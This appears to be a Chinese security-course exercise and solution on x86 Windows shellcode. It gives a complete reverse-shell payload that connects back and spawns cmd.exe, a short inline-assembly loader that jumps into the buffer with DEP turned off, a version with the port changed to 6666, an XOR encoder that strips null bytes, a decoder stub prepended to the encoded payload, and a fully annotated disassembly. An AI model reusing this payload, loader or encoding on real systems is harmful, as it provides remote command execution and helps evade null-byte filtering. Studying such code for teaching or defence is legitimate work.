shellcode基础(1)
题目：
已知以下是我写得一串x86二进制指令码，可以将其加载并运行。
char buff[]=
{"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56"
"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3"
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"
"\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56"
"\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xe0"
"\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5" };
任务一：使用visual studio，将此shellcode插入你的c++代码中，编写此shellcode加载代码，跳转到buffer中并执行。
提示：代码行数不超过5行。
需要的工具：visual studio 2010或以后的版本~~ C++，创建工程后请关闭DEP，请自行百度DEP是什么，如何关闭。
任务二：将其运行起来并动态调试，将其汇编形态代码抽取出来，理解每一行汇编代码的含义，修改shellcode，使其连接的端口变为6666。
提示：visual studio调试有反汇编窗口。
任务三：修改shellcode，本shellcode中含有0x00,请使用一定的编码方法使shellcode不含0x00，在shellcode前增加解码头，从而使shellcode可以正常执行。
提示：参考《0day安全》第三章
第一问：
直接加载shellcode的地址并运行
void main()
{
__asm{
lea eax, buff
push eax
ret
}
}
将buff的地址放入eax，然后将eax压入栈顶，ret指令会弹出当前栈顶元素并跳转至此地址执行，则shellcode被执行
第二问：
这个shellcode是开启本机的4444端口并反弹一个cmd窗口，可以用nc监听本机的6666端口，然后运行第一问可以看到效果。
第二问直接将红色标准的4444的十六进制改为6666的十六进制就可以了。汇编代码后面附上。可以在OD中查看shellcode的执行过程。
第三问：
shellcode编解码的问题。
首先对shellcode进行异或编码，解决shellcode中包含0x00的问题，可以采用遍历，寻找一个可异或的key值
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buff[]=
{"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x68\x7f\x00\x00\x01\x68\x02\x00\x1a\x0a\x89\xe6\x6a\x10\x56"
"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3"
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"
"\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56"
"\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xe0"
"\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"
"\x09" };
void encoder(char* input, unsigned char key, int display_flag)
{
int i = 0, len = 0;
unsigned char result;
FILE *fp;
unsigned char * output;
len = sizeof(buff);
output = (unsigned char *)malloc(len + 1);
if(!output)
{
printf("memory erro!\n");
exit(0);
}
printf("%d\n\n",len);
//encode
for (i = 0; i < len; i++)
{
output[i] = input[i] ^ key;
//print info
printf("%5d %5x",i,output[i]);
if(i % 5 == 0)
{
printf("\n");
}
if(output[i] == 0x00)
{
key = key + 0x01;
i = 0;
continue;
}
}
printf("%x",key);
if(!(fp = fopen("encode.txt", "w+")))
{
printf("output file create error!");
exit(0);
}
fprintf(fp,"\"");
for(i = 0; i < len; i++)
{
fprintf(fp, "\\x%0.2x", output[i]);
if((i+1)%15 == 0)
{
fprintf(fp, "\"\n\"");
}
}
fprintf(fp,"\";");
fclose(fp);
printf("dump the encode shellcode to encode.txt OK!\n");
//print to screen
if(display_flag)
{
for(i = 0; i < len; i++)
{
printf("%0.2x", output[i]);
if((i + 1) % 15 == 0)
{
printf("\n");
}
}
}
free(output);
}
void main()
{
encoder(buff, 0x01, 1);
}
然后利用key值进行解码：
/*
shellcode末尾加0x09;
异或key=0x43;
*/
char final_sc[] =
{
"\x83\xc0\x14"
"\x33\xc9"
"\x8a\x1c\x08"
"\x80\xf3\x43"
"\x88\x1c\x08"
"\x41"
"\x80\xfb\x09"
"\x75\xf1"
"\xbf\xab\xca\x43\x43\x43\x23\xca\xa6\x72\x91\x27\xc8\x11\x73"
"\xc8\x11\x4f\xc8\x11\x57\xc8\x31\x6b\x4c\xf4\x09\x65\x72\xbc"
"\x72\x83\xef\x7f\x22\x3f\x41\x6f\x63\x82\x8c\x4e\x42\x84\xa1"
"\xb3\x11\x14\xc8\x11\x53\xc8\x01\x7f\x42\x93\xc8\x03\x3b\xc6"
"\x83\x37\x09\x42\x93\x13\xc8\x0b\x5b\xc8\x1b\x63\x42\x90\xa0"
"\x7f\x0a\xc8\x77\xc8\x42\x95\x72\xbc\x72\x83\xef\x82\x8c\x4e"
"\x42\x84\x7b\xa3\x36\xb7\x40\x3e\xbb\x78\x3e\x67\x36\xa1\x1b"
"\xc8\x1b\x67\x42\x90\x25\xc8\x4f\x08\xc8\x1b\x5f\x42\x90\xc8"
"\x47\xc8\x42\x93\xca\x07\x67\x67\x18\x18\x22\x1a\x19\x12\xbc"
"\xa3\x1b\x1c\x19\xc8\x51\xa8\xc5\x1e\x2b\x70\x71\x43\x43\x2b"
"\x34\x30\x71\x1c\x17\x2b\x0f\x34\x65\x44\xbc\x96\xfb\xd3\x42"
"\x43\x43\x6a\x87\x17\x13\x2b\x6a\xc3\x28\x43\xbc\x96\x13\x13"
"\x13\x13\x03\x13\x03\x13\x2b\xa9\x4c\x9c\xa3\xbc\x96\xca\x84"
"\x2b\x3c\x43\x43\x42\x2b\x41\x43\x59\x49\xca\xa5\x29\x53\x15"
"\x14\x2b\xda\xe6\x37\x22\xbc\x96\x2b\x20\x2e\x27\x43\xca\xa0"
"\x14\x14\x14\x72\xb5\x29\x51\x1a\x15\xa1\xbe\x25\x84\x07\x67"
"\x7f\x42\x42\xce\x07\x67\x53\x85\x43\x07\x17\x13\x15\x15\x15"
"\x05\x15\x0d\x15\x15\x10\x15\x2b\x3a\x8f\x7c\xc5\xbc\x96\xca"
"\xa3\x0d\x15\x05\xbc\x73\x2b\x4b\xc4\x5e\x23\xbc\x96\xf8\xa3"
"\x5e\x69\x49\x2b\xe5\xd6\xfe\xde\xbc\x96\x7f\x45\x3f\x49\xc3"
"\xb8\xa3\x36\x46\xf8\x04\x50\x31\x2c\x29\x43\x10\xbc\x96\x4a"
};
void main()
{
__asm{
lea eax,final_sc
push eax
ret
}
}
其中final_sc[]的前半部分是解码的汇编机器码，后半部分是加密后的shellcode。
解码的汇编代码：
</pre><pre name="code" class="cpp">__asm
{
add eax, 0x14
xor ecx, ecx
decode_loop:
mov bl, [eax+ecx]
xor bl, 0x43 ;异或的加密key0x43
mov [eax+ecx], bl
inc ecx
cmp bl,0x09 ;解码结束标识0x09
jne decode_loop
}
附shellcode的汇编源码：
unsigned char buff2[] =
"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2"
"\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85"
"\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3"
"\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d"
"\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b"
"\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff"
"\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68"
"\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01"
"\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50"
"\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x89\xc7"
"\x68\x7f\x00\x00\x01\x68\x02\x00\x11\x5c\x89\xe6\x6a\x10\x56"
"\x57\x68\x99\xa5\x74\x61\xff\xd5\x68\x63\x6d\x64\x00\x89\xe3"
"\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66\xc7\x44\x24"
"\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44\x54\x50\x56\x56\x56"
"\x46\x56\x4e\x56\x56\x53\x56\x68\x79\xcc\x3f\x86\xff\xd5\x89"
"\xe0\x4e\x56\x46\xff\x30\x68\x08\x87\x1d\x60\xff\xd5\xbb\xe0"
"\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5";
//匿名管道
//http://outofmemory.cn/code-snippet/9210/create-niming-guandao-lian-jiedao-yuancheng-service-qi
main()
{
/*__asm{
lea eax,buff2
push eax
ret
}*/
__asm{
cld
call label //_buff2+8Fh (114708Fh)
pushad
mov ebp,esp
xor edx,edx
mov edx,dword ptr fs:[edx+30h] //peb
mov edx,dword ptr [edx+0Ch] //PEB_LDR_DATA
mov edx,dword ptr [edx+14h] //InMemoryOrderModuleList
label8:
mov esi,dword ptr [edx+28h] //basedllname
movzx ecx,word ptr [edx+26h] //basedllname的长度
xor edi,edi
label3:
xor eax,eax
lods byte ptr [esi]
cmp al,61h
jl label2
sub al,20h
label2:
ror edi,0Dh
add edi,eax
loop label3
push edx
push edi
mov edx,dword ptr [edx+10h]
mov eax,dword ptr [edx+3Ch]
add eax,edx
mov eax,dword ptr [eax+78h]
test eax,eax
je label4
add eax,edx
push eax
mov ecx,dword ptr [eax+18h]
mov ebx,dword ptr [eax+20h]
add ebx,edx
label7:
jecxz label5
dec ecx
mov esi,dword ptr [ebx+ecx*4]
add esi,edx
xor edi,edi
label6:
xor eax,eax
lods byte ptr [esi]
ror edi,0Dh
add edi,eax
cmp al,ah
jne label6
add edi,dword ptr [ebp-8]
cmp edi,dword ptr [ebp+24h]
jne label7
pop eax
mov ebx,dword ptr [eax+24h]
add ebx,edx
mov cx,word ptr [ebx+ecx*2]
mov ebx,dword ptr [eax+1Ch]
add ebx,edx
mov eax,dword ptr [ebx+ecx*4]
add eax,edx
mov dword ptr [esp+24h],eax
pop ebx
pop ebx
popad
pop ecx
pop edx
push ecx
jmp eax
label5:
pop eax
label4:
pop edi
pop edx
mov edx,dword ptr [edx]
jmp label8
label:
pop ebp //将shellcode起始地址存入ebp
push 3233h
push 5F327377h //ws2_32
push esp
push 726774Ch //hash of kernel32.dll
call ebp
mov eax,190h
sub esp,eax
push esp
push eax
push 6B8029h
call ebp
push eax
push eax
push eax
push eax
inc eax
push eax
inc eax
push eax
push 0E0DF0FEAh
call ebp
mov edi,eax
push 100007Fh //127.0.01
push 5C110002h //端口号4444==》0x115C
mov esi,esp
push 10h
push esi
push edi
push 6174A599h
call ebp
push 646D63h
mov ebx,esp
push edi
push edi
push edi
xor esi,esi
push 12h
pop ecx
label9:
push esi
loop label9
mov word ptr [esp+3Ch],101h
lea eax,[esp+10h]
mov byte ptr [eax],44h
push esp
push eax
push esi
push esi
push esi
inc esi
push esi
dec esi
push esi
push esi
push ebx
push esi
push 863FCC79h
call ebp
mov eax,esp
dec esi
push esi
inc esi
push dword ptr [eax]
push 601D8708h
call ebp
mov ebx,0A2A1DE0h
push 9DBD95A6h
call ebp
cmp al,6
jl label10//: _buff2+135h (1147135h)
cmp bl,0E0h
jne label10// _buff2+135h (1147135h)
mov ebx,6F721347h
label10:
push 0
push ebx
call ebp
}
//
// __asm{
//01147000 FC cld
//01147001 E8 89 00 00 00 call lable
//01147006 60 pushad
//01147007 89 E5 mov ebp,esp
//01147009 31 D2 xor edx,edx
//0114700B 64 8B 52 30 mov edx,dword ptr fs:[edx+30h]
//0114700F 8B 52 0C mov edx,dword ptr [edx+0Ch]
//01147012 8B 52 14 mov edx,dword ptr [edx+14h]
// label8:
//01147015 8B 72 28 mov esi,dword ptr [edx+28h]
//01147018 0F B7 4A 26 movzx ecx,word ptr [edx+26h]
//0114701C 31 FF xor edi,edi
// label3:
//0114701E 31 C0 xor eax,eax
//01147020 AC lods byte ptr [esi]
//01147021 3C 61 cmp al,61h
//01147023 7C 02 jl label2// _buff2+27h (1147027h)
//01147025 2C 20 sub al,20h
//label2:
//01147027 C1 CF 0D ror edi,0Dh
//0114702A 01 C7 add edi,eax
//0114702C E2 F0 loop label3// _buff2+1Eh (114701Eh)
//0114702E 52 push edx
//0114702F 57 push edi
//01147030 8B 52 10 mov edx,dword ptr [edx+10h]
//01147033 8B 42 3C mov eax,dword ptr [edx+3Ch]
//01147036 01 D0 add eax,edx
//01147038 8B 40 78 mov eax,dword ptr [eax+78h]
//0114703B 85 C0 test eax,eax
//0114703D 74 4A je label4// _buff2+89h (1147089h)
//0114703F 01 D0 add eax,edx
//01147041 50 push eax
//01147042 8B 48 18 mov ecx,dword ptr [eax+18h]
//01147045 8B 58 20 mov ebx,dword ptr [eax+20h]
//01147048 01 D3 add ebx,edx
// label7:
//0114704A E3 3C jecxz label5// _buff2+88h (1147088h)
//0114704C 49 dec ecx
//0114704D 8B 34 8B mov esi,dword ptr [ebx+ecx*4]
//01147050 01 D6 add esi,edx
//01147052 31 FF xor edi,edi
//label6:
//01147054 31 C0 xor eax,eax
//01147056 AC lods byte ptr [esi]
//01147057 C1 CF 0D ror edi,0Dh
//0114705A 01 C7 add edi,eax
//0114705C 38 E0 cmp al,ah
//0114705E 75 F4 jne label6// _buff2+54h (1147054h)
//01147060 03 7D F8 add edi,dword ptr [ebp-8]
//01147063 3B 7D 24 cmp edi,dword ptr [ebp+24h]
//01147066 75 E2 jne label7//_buff2+4Ah (114704Ah)
//01147068 58 pop eax
//01147069 8B 58 24 mov ebx,dword ptr [eax+24h]
//0114706C 01 D3 add ebx,edx
//0114706E 66 8B 0C 4B mov cx,word ptr [ebx+ecx*2]
//01147072 8B 58 1C mov ebx,dword ptr [eax+1Ch]
//01147075 01 D3 add ebx,edx
//01147077 8B 04 8B mov eax,dword ptr [ebx+ecx*4]
//0114707A 01 D0 add eax,edx
//0114707C 89 44 24 24 mov dword ptr [esp+24h],eax
//01147080 5B pop ebx
//01147081 5B pop ebx
//01147082 61 popad
//01147083 59 pop ecx
//01147084 5A pop edx
//01147085 51 push ecx
//01147086 FF E0 jmp eax
//label5:
//01147088 58 pop eax
//label4:
//01147089 5F pop edi
//0114708A 5A pop edx
//0114708B 8B 12 mov edx,dword ptr [edx]
//0114708D EB 86 jmp label8// _buff2+15h (1147015h)
// label:
//0114708F 5D pop ebp
//01147090 68 33 32 00 00 push 3233h
//01147095 68 77 73 32 5F push 5F327377h
//0114709A 54 push esp
//0114709B 68 4C 77 26 07 push 726774Ch
//011470A0 FF D5 call ebp
//011470A2 B8 90 01 00 00 mov eax,190h
//011470A7 29 C4 sub esp,eax
//011470A9 54 push esp
//011470AA 50 push eax
//011470AB 68 29 80 6B 00 push 6B8029h
//011470B0 FF D5 call ebp
//011470B2 50 push eax
//011470B3 50 push eax
//011470B4 50 push eax
//011470B5 50 push eax
//011470B6 40 inc eax
//011470B7 50 push eax
//011470B8 40 inc eax
//011470B9 50 push eax
//011470BA 68 EA 0F DF E0 push 0E0DF0FEAh
//011470BF FF D5 call ebp
//011470C1 89 C7 mov edi,eax
//011470C3 68 7F 00 00 01 push 100007Fh
//011470C8 68 02 00 11 5C push 5C110002h
//011470CD 89 E6 mov esi,esp
//011470CF 6A 10 push 10h
//011470D1 56 push esi
//011470D2 57 push edi
//011470D3 68 99 A5 74 61 push 6174A599h
//011470D8 FF D5 call ebp
//011470DA 68 63 6D 64 00 push 646D63h
//011470DF 89 E3 mov ebx,esp
//011470E1 57 push edi
//011470E2 57 push edi
//011470E3 57 push edi
//011470E4 31 F6 xor esi,esi
//011470E6 6A 12 push 12h
//011470E8 59 pop ecx
//label9:
//011470E9 56 push esi
//011470EA E2 FD loop label9// _buff2+0E9h (11470E9h)
//011470EC 66 C7 44 24 3C 01 01 mov word ptr [esp+3Ch],101h
//011470F3 8D 44 24 10 lea eax,[esp+10h]
//011470F7 C6 00 44 mov byte ptr [eax],44h
//011470FA 54 push esp
//011470FB 50 push eax
//011470FC 56 push esi
//011470FD 56 push esi
//011470FE 56 push esi
//011470FF 46 inc esi
//01147100 56 push esi
//01147101 4E dec esi
//01147102 56 push esi
//01147103 56 push esi
//01147104 53 push ebx
//01147105 56 push esi
//01147106 68 79 CC 3F 86 push 863FCC79h
//0114710B FF D5 call ebp
//0114710D 89 E0 mov eax,esp
//0114710F 4E dec esi
//01147110 56 push esi
//01147111 46 inc esi
//01147112 FF 30 push dword ptr [eax]
//01147114 68 08 87 1D 60 push 601D8708h
//01147119 FF D5 call ebp
//0114711B BB E0 1D 2A 0A mov ebx,0A2A1DE0h
//01147120 68 A6 95 BD 9D push 9DBD95A6h
//01147125 FF D5 call ebp
//01147127 3C 06 cmp al,6
//01147129 7C 0A jl label10//: _buff2+135h (1147135h)
//0114712B 80 FB E0 cmp bl,0E0h
//0114712E 75 05 jne label10// _buff2+135h (1147135h)
//01147130 BB 47 13 72 6F mov ebx,6F721347h
//label10:
//01147135 6A 00 push 0
//01147137 53 push ebx
//01147138 FF D5 call ebp
//
// }
}